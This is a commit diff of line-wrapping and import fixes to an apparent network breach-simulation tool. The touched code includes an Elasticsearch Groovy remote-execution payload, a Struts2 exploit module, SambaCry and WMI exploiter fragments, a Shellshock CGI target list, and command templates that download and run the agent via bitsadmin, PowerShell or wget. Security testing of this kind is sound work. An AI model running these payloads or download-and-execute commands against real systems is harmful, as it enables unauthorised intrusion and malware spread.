forked from p15670423/monkey
Whitespace and imports fixes
This commit is contained in:
parent
a9a3c7705e
commit
cd3835a42e
|
@ -29,8 +29,8 @@ class AwsInstance(object):
|
||||||
self.instance_id = urllib.request.urlopen(
|
self.instance_id = urllib.request.urlopen(
|
||||||
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode()
|
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read().decode()
|
||||||
self.region = self._parse_region(
|
self.region = self._parse_region(
|
||||||
urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().
|
urllib.request.urlopen(
|
||||||
decode())
|
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read().decode())
|
||||||
except (urllib.error.URLError, IOError) as e:
|
except (urllib.error.URLError, IOError) as e:
|
||||||
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))
|
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))
|
||||||
|
|
||||||
|
|
|
@ -68,7 +68,8 @@ FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation"
|
||||||
TEST_EXPLANATION_KEY = "explanation"
|
TEST_EXPLANATION_KEY = "explanation"
|
||||||
TESTS_MAP = {
|
TESTS_MAP = {
|
||||||
TEST_SEGMENTATION: {
|
TEST_SEGMENTATION: {
|
||||||
TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.",
|
TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's "
|
||||||
|
"running on, that belong to different network segments.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
|
STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
|
||||||
STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
|
STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
|
||||||
|
@ -78,7 +79,8 @@ TESTS_MAP = {
|
||||||
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
|
POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
|
||||||
},
|
},
|
||||||
TEST_MALICIOUS_ACTIVITY_TIMELINE: {
|
TEST_MALICIOUS_ACTIVITY_TIMELINE: {
|
||||||
TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.",
|
TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting "
|
||||||
|
"exploitation.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
|
STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
|
||||||
},
|
},
|
||||||
|
@ -89,8 +91,10 @@ TESTS_MAP = {
|
||||||
TEST_ENDPOINT_SECURITY_EXISTS: {
|
TEST_ENDPOINT_SECURITY_EXISTS: {
|
||||||
TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.",
|
TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.",
|
STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus "
|
||||||
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern."
|
"software on endpoints.",
|
||||||
|
STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a "
|
||||||
|
"security concern. "
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
|
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
|
||||||
PILLARS_KEY: [DEVICES],
|
PILLARS_KEY: [DEVICES],
|
||||||
|
@ -99,7 +103,8 @@ TESTS_MAP = {
|
||||||
TEST_MACHINE_EXPLOITED: {
|
TEST_MACHINE_EXPLOITED: {
|
||||||
TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.",
|
TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.",
|
STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see "
|
||||||
|
"which endpoints were compromised.",
|
||||||
STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
|
STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
|
PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
|
||||||
|
@ -109,7 +114,8 @@ TESTS_MAP = {
|
||||||
TEST_SCHEDULED_EXECUTION: {
|
TEST_SCHEDULED_EXECUTION: {
|
||||||
TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
|
TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.",
|
STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security "
|
||||||
|
"software.",
|
||||||
STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
|
STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
|
PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
|
||||||
|
@ -120,7 +126,8 @@ TESTS_MAP = {
|
||||||
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.",
|
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
|
STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
|
||||||
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them."
|
STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts "
|
||||||
|
"that indicate attempts to access them. "
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
|
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
|
||||||
PILLARS_KEY: [DATA],
|
PILLARS_KEY: [DATA],
|
||||||
|
@ -130,7 +137,8 @@ TESTS_MAP = {
|
||||||
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.",
|
TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
|
STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
|
||||||
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them."
|
STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate "
|
||||||
|
"attempts to access them. "
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
|
PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
|
||||||
PILLARS_KEY: [DATA],
|
PILLARS_KEY: [DATA],
|
||||||
|
@ -139,7 +147,8 @@ TESTS_MAP = {
|
||||||
TEST_TUNNELING: {
|
TEST_TUNNELING: {
|
||||||
TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.",
|
TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
|
STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - "
|
||||||
|
"restrict them. "
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
|
PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
|
||||||
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
|
PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
|
||||||
|
@ -148,7 +157,8 @@ TESTS_MAP = {
|
||||||
TEST_COMMUNICATE_AS_NEW_USER: {
|
TEST_COMMUNICATE_AS_NEW_USER: {
|
||||||
TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.",
|
TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.",
|
||||||
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
FINDING_EXPLANATION_BY_STATUS_KEY: {
|
||||||
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
|
STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - "
|
||||||
|
"restrict them to MAC only.",
|
||||||
STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
|
STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
|
||||||
},
|
},
|
||||||
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
|
PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
|
||||||
|
|
|
@ -1,10 +1,12 @@
|
||||||
|
|
||||||
|
|
||||||
# abstract, static method decorator
|
# abstract, static method decorator
|
||||||
|
# noinspection PyPep8Naming
|
||||||
class abstractstatic(staticmethod):
|
class abstractstatic(staticmethod):
|
||||||
__slots__ = ()
|
__slots__ = ()
|
||||||
|
|
||||||
def __init__(self, function):
|
def __init__(self, function):
|
||||||
super(abstractstatic, self).__init__(function)
|
super(abstractstatic, self).__init__(function)
|
||||||
function.__isabstractmethod__ = True
|
function.__isabstractmethod__ = True
|
||||||
|
|
||||||
__isabstractmethod__ = True
|
__isabstractmethod__ = True
|
||||||
|
|
|
@ -26,8 +26,8 @@ class ElasticGroovyExploiter(WebRCE):
|
||||||
# attack URLs
|
# attack URLs
|
||||||
MONKEY_RESULT_FIELD = "monkey_result"
|
MONKEY_RESULT_FIELD = "monkey_result"
|
||||||
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
|
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
|
||||||
JAVA_CMD = GENERIC_QUERY \
|
JAVA_CMD = \
|
||||||
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
|
||||||
|
|
||||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
_EXPLOITED_SERVICE = 'Elastic search'
|
_EXPLOITED_SERVICE = 'Elastic search'
|
||||||
|
|
|
@ -448,7 +448,12 @@ class SambaCryExploiter(HostExploiter):
|
||||||
|
|
||||||
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
||||||
else:
|
else:
|
||||||
return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
|
return SambaCryExploiter.create_smb(
|
||||||
|
smb_client,
|
||||||
|
treeId,
|
||||||
|
pathName,
|
||||||
|
desiredAccess=FILE_READ_DATA,
|
||||||
shareMode=FILE_SHARE_READ,
|
shareMode=FILE_SHARE_READ,
|
||||||
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
|
creationOptions=FILE_OPEN,
|
||||||
|
creationDisposition=FILE_NON_DIRECTORY_FILE,
|
||||||
fileAttributes=0)
|
fileAttributes=0)
|
||||||
|
|
|
@ -1,7 +1,8 @@
|
||||||
# resource for shellshock attack
|
# resource for shellshock attack
|
||||||
# copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list
|
# copied and transformed from https://github.com/nccgroup/shocker/blob/master/shocker-cgi_list
|
||||||
|
|
||||||
CGI_FILES = (r'/',
|
CGI_FILES = (
|
||||||
|
r'/',
|
||||||
r'/admin.cgi',
|
r'/admin.cgi',
|
||||||
r'/administrator.cgi',
|
r'/administrator.cgi',
|
||||||
r'/agora.cgi',
|
r'/agora.cgi',
|
||||||
|
@ -403,4 +404,5 @@ CGI_FILES = (r'/',
|
||||||
r'/webtools/bonsai/showcheckins.cgi',
|
r'/webtools/bonsai/showcheckins.cgi',
|
||||||
r'/wwwadmin.cgi',
|
r'/wwwadmin.cgi',
|
||||||
r'/wwwboard.cgi',
|
r'/wwwboard.cgi',
|
||||||
r'/wwwboard/wwwboard.cgi')
|
r'/wwwboard/wwwboard.cgi'
|
||||||
|
)
|
||||||
|
|
|
@ -3,13 +3,14 @@
|
||||||
code used is from https://www.exploit-db.com/exploits/41570/
|
code used is from https://www.exploit-db.com/exploits/41570/
|
||||||
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
|
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
|
||||||
"""
|
"""
|
||||||
import urllib.request, urllib.error, urllib.parse
|
|
||||||
import http.client
|
import http.client
|
||||||
import unicodedata
|
import logging
|
||||||
import re
|
import re
|
||||||
import ssl
|
import ssl
|
||||||
|
import urllib.error
|
||||||
|
import urllib.parse
|
||||||
|
import urllib.request
|
||||||
|
|
||||||
import logging
|
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
|
|
||||||
__author__ = "VakarisZ"
|
__author__ = "VakarisZ"
|
||||||
|
|
|
@ -1,14 +1,16 @@
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
import os.path
|
import os.path
|
||||||
import urllib.request, urllib.parse, urllib.error
|
import urllib.error
|
||||||
|
import urllib.parse
|
||||||
|
import urllib.request
|
||||||
from threading import Lock
|
from threading import Lock
|
||||||
|
|
||||||
|
from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
|
||||||
|
from infection_monkey.model import DOWNLOAD_TIMEOUT
|
||||||
from infection_monkey.network.firewall import app as firewall
|
from infection_monkey.network.firewall import app as firewall
|
||||||
from infection_monkey.network.info import get_free_tcp_port
|
from infection_monkey.network.info import get_free_tcp_port
|
||||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||||
from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
|
|
||||||
from infection_monkey.model import DOWNLOAD_TIMEOUT
|
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
|
|
@ -39,7 +39,8 @@ class WmiExploiter(HostExploiter):
|
||||||
password_hashed = self._config.hash_sensitive_data(password)
|
password_hashed = self._config.hash_sensitive_data(password)
|
||||||
lm_hash_hashed = self._config.hash_sensitive_data(lm_hash)
|
lm_hash_hashed = self._config.hash_sensitive_data(lm_hash)
|
||||||
mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash)
|
mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash)
|
||||||
creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): ({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed)
|
creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): " \
|
||||||
|
"({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed)
|
||||||
LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
|
LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
|
||||||
|
|
||||||
wmi_connection = WmiTools.WmiConnection()
|
wmi_connection = WmiTools.WmiConnection()
|
||||||
|
|
|
@ -1,5 +1,3 @@
|
||||||
|
|
||||||
|
|
||||||
import argparse
|
import argparse
|
||||||
import json
|
import json
|
||||||
import logging
|
import logging
|
||||||
|
@ -23,8 +21,11 @@ LOG = None
|
||||||
|
|
||||||
LOG_CONFIG = {'version': 1,
|
LOG_CONFIG = {'version': 1,
|
||||||
'disable_existing_loggers': False,
|
'disable_existing_loggers': False,
|
||||||
'formatters': {'standard': {
|
'formatters': {
|
||||||
'format': '%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'},
|
'standard': {
|
||||||
|
'format':
|
||||||
|
'%(asctime)s [%(process)d:%(thread)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'
|
||||||
|
},
|
||||||
},
|
},
|
||||||
'handlers': {'console': {'class': 'logging.StreamHandler',
|
'handlers': {'console': {'class': 'logging.StreamHandler',
|
||||||
'level': 'DEBUG',
|
'level': 'DEBUG',
|
||||||
|
|
|
@ -11,11 +11,14 @@ MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
|
||||||
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
||||||
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||||
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||||
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
|
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd ' \
|
||||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
|
'/c %%(monkey_path)s %s"' % (MONKEY_ARG, )
|
||||||
|
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(' \
|
||||||
|
'file_path)s exit)) > NUL 2>&1 '
|
||||||
|
|
||||||
# Commands used for downloading monkeys
|
# Commands used for downloading monkeys
|
||||||
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
|
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(" \
|
||||||
|
"monkey_path)s\' -UseBasicParsing\" "
|
||||||
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
|
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
|
||||||
BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
|
BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
|
||||||
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
|
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
|
||||||
|
|
|
@ -34,7 +34,6 @@ class VirtualFile(BytesIO):
|
||||||
return path in VirtualFile._vfs
|
return path in VirtualFile._vfs
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def getsize(path):
|
def getsize(path):
|
||||||
if path.startswith(MONKEYFS_PREFIX):
|
if path.startswith(MONKEYFS_PREFIX):
|
||||||
return VirtualFile.getsize(path)
|
return VirtualFile.getsize(path)
|
||||||
|
|
|
@ -8,6 +8,7 @@ def _run_netsh_cmd(command, args):
|
||||||
if value])), stdout=subprocess.PIPE)
|
if value])), stdout=subprocess.PIPE)
|
||||||
return cmd.stdout.read().strip().lower().endswith('ok.')
|
return cmd.stdout.read().strip().lower().endswith('ok.')
|
||||||
|
|
||||||
|
|
||||||
class FirewallApp(object):
|
class FirewallApp(object):
|
||||||
def is_enabled(self, **kwargs):
|
def is_enabled(self, **kwargs):
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -20,7 +20,6 @@ LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class PingScanner(HostScanner, HostFinger):
|
class PingScanner(HostScanner, HostFinger):
|
||||||
|
|
||||||
_SCANNED_SERVICE = ''
|
_SCANNED_SERVICE = ''
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
|
@ -49,14 +48,12 @@ class PingScanner(HostScanner, HostFinger):
|
||||||
if not "win32" == sys.platform:
|
if not "win32" == sys.platform:
|
||||||
timeout /= 1000
|
timeout /= 1000
|
||||||
|
|
||||||
sub_proc = subprocess.Popen(["ping",
|
sub_proc = subprocess.Popen(
|
||||||
PING_COUNT_FLAG,
|
["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr],
|
||||||
"1",
|
|
||||||
PING_TIMEOUT_FLAG,
|
|
||||||
str(timeout), host.ip_addr],
|
|
||||||
stdout=subprocess.PIPE,
|
stdout=subprocess.PIPE,
|
||||||
stderr=subprocess.PIPE,
|
stderr=subprocess.PIPE,
|
||||||
text=True)
|
text=True
|
||||||
|
)
|
||||||
|
|
||||||
output = " ".join(sub_proc.communicate())
|
output = " ".join(sub_proc.communicate())
|
||||||
regex_result = self._ttl_regex.search(output)
|
regex_result = self._ttl_regex.search(output)
|
||||||
|
|
|
@ -30,7 +30,7 @@ class Packet:
|
||||||
return b"".join(content_list)
|
return b"".join(content_list)
|
||||||
|
|
||||||
|
|
||||||
##### SMB Packets #####
|
# SMB Packets
|
||||||
class SMBHeader(Packet):
|
class SMBHeader(Packet):
|
||||||
fields = odict([
|
fields = odict([
|
||||||
("proto", b"\xff\x53\x4d\x42"),
|
("proto", b"\xff\x53\x4d\x42"),
|
||||||
|
@ -92,7 +92,13 @@ class SMBSessionFingerData(Packet):
|
||||||
("capabilities", b"\xd4\x00\x00\xa0"),
|
("capabilities", b"\xd4\x00\x00\xa0"),
|
||||||
("bcc1", ""),
|
("bcc1", ""),
|
||||||
("Data",
|
("Data",
|
||||||
b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02"
|
||||||
|
b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00"
|
||||||
|
b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f"
|
||||||
|
b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63"
|
||||||
|
b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00"
|
||||||
|
b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35"
|
||||||
|
b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||||
|
|
||||||
])
|
])
|
||||||
|
|
||||||
|
|
|
@ -25,7 +25,8 @@ class TcpScanner(HostScanner, HostFinger):
|
||||||
Scans a target host to see if it's alive using the tcp_target_ports specified in the configuration.
|
Scans a target host to see if it's alive using the tcp_target_ports specified in the configuration.
|
||||||
:param host: VictimHost structure
|
:param host: VictimHost structure
|
||||||
:param only_one_port: Currently unused.
|
:param only_one_port: Currently unused.
|
||||||
:return: T/F if there is at least one open port. In addition, the host object is updated to mark those services as alive.
|
:return: T/F if there is at least one open port.
|
||||||
|
In addition, the host object is updated to mark those services as alive.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
# maybe hide under really bad detection systems
|
# maybe hide under really bad detection systems
|
||||||
|
|
|
@ -84,7 +84,7 @@ class TestMonkey(IslandTestCase):
|
||||||
self.clean_monkey_db()
|
self.clean_monkey_db()
|
||||||
|
|
||||||
linux_monkey = Monkey(guid=str(uuid.uuid4()),
|
linux_monkey = Monkey(guid=str(uuid.uuid4()),
|
||||||
description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 x86_64")
|
description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu")
|
||||||
windows_monkey = Monkey(guid=str(uuid.uuid4()),
|
windows_monkey = Monkey(guid=str(uuid.uuid4()),
|
||||||
description="Windows bla bla bla")
|
description="Windows bla bla bla")
|
||||||
unknown_monkey = Monkey(guid=str(uuid.uuid4()),
|
unknown_monkey = Monkey(guid=str(uuid.uuid4()),
|
||||||
|
|
|
@ -1,18 +1,18 @@
|
||||||
from datetime import datetime
|
|
||||||
import logging
|
import logging
|
||||||
import threading
|
import threading
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
import flask_restful
|
import flask_restful
|
||||||
from flask import request, make_response, jsonify
|
from flask import request, make_response, jsonify
|
||||||
|
|
||||||
from monkey_island.cc.auth import jwt_required
|
from monkey_island.cc.auth import jwt_required
|
||||||
from monkey_island.cc.database import mongo
|
from monkey_island.cc.database import mongo
|
||||||
|
from monkey_island.cc.services.database import Database
|
||||||
from monkey_island.cc.services.node import NodeService
|
from monkey_island.cc.services.node import NodeService
|
||||||
from monkey_island.cc.services.reporting.report import ReportService
|
from monkey_island.cc.services.reporting.report import ReportService
|
||||||
from monkey_island.cc.services.attack.attack_report import AttackReportService
|
from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, \
|
||||||
from monkey_island.cc.services.reporting.report_generation_synchronisation import is_report_being_generated, safe_generate_reports
|
safe_generate_reports
|
||||||
from monkey_island.cc.utils import local_ip_addresses
|
from monkey_island.cc.utils import local_ip_addresses
|
||||||
from monkey_island.cc.services.database import Database
|
|
||||||
|
|
||||||
__author__ = 'Barak'
|
__author__ = 'Barak'
|
||||||
|
|
||||||
|
|
|
@ -75,7 +75,10 @@ class AttackReportService:
|
||||||
Gets timestamp of latest attack telem
|
Gets timestamp of latest attack telem
|
||||||
:return: timestamp of latest attack telem
|
:return: timestamp of latest attack telem
|
||||||
"""
|
"""
|
||||||
